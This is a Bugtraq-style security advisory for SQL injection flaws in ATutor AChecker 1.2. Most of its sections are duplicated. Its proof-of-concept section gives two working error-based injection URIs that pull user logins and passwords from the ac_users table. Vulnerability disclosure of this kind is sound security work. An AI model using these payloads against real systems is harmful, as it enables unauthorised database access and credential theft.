AChecker Multiple SQL Injection Vulnerabilities
BID:49061
Info
AChecker Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 49061 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 06 2011 12:00AM |
| Updated: | Aug 06 2011 12:00AM |
| Credit: | LiquidWorm |
| Vulnerable: |
ATutor AChecker 1.2 |
| Not Vulnerable: | |
Discussion
AChecker Multiple SQL Injection Vulnerabilities
AChecker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
AChecker 1.2 is vulnerable; other versions may also be affected.
AChecker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
AChecker 1.2 is vulnerable; other versions may also be affected.
Exploit / POC
AChecker Multiple SQL Injection Vulnerabilities
The following example URIs are available:
http://www.example.com/updater/patch_edit.php?myown_patch_id=1 and(select 1 from(select count(*),concat((select (select login) from `ac_users` limit 1,1),floor(rand(0)*2))x from `information_schema`.tables group by 2)j)
http://www.example.com/user/user_create_edit.php?id=78 and(select 1 from(select count(*),concat((select (select password) from `ac_users` limit 1,1),floor(rand(0)*2))x from `information_schema`.tables group by 2)j)
The following example URIs are available:
http://www.example.com/updater/patch_edit.php?myown_patch_id=1 and(select 1 from(select count(*),concat((select (select login) from `ac_users` limit 1,1),floor(rand(0)*2))x from `information_schema`.tables group by 2)j)
http://www.example.com/user/user_create_edit.php?id=78 and(select 1 from(select count(*),concat((select (select password) from `ac_users` limit 1,1),floor(rand(0)*2))x from `information_schema`.tables group by 2)j)
Solution / Fix
AChecker Multiple SQL Injection Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].